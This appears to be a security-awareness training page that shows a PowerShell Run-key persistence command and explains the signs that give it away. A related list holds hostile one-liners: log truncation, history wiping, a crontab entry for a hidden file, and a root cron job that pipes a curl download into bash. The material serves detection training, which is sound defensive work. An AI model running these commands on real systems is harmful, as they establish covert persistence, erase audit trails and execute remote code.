Dangerous
New-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name Updater -Value 'C:\Users\Public\svc.exe'windows · powershell · Advanced
Registers a program to launch every time the user logs in. The Run key is a documented Windows feature, so the giveaway is the combination of a generic name like Updater with an executable sitting in a world-writable public folder.
Signals to notice
- Autostart registry key
- Generic name disguises the entry
- Executable stored in a world-writable directory
Think you can spot these under time pressure?
Start TrainingMore Persistence
truncate -s 0 /var/log/auth.logIntermediatehistory -c && export HISTFILE=/dev/nullIntermediateecho '* * * * * /tmp/.update' | crontab -Intermediateln -sf /dev/null ~/.bash_historyIntermediateecho '*/5 * * * * root curl -s https://example.com/c | bash' | sudo tee -a /etc/cron.d/syncExpert:> /var/log/syslogAdvanced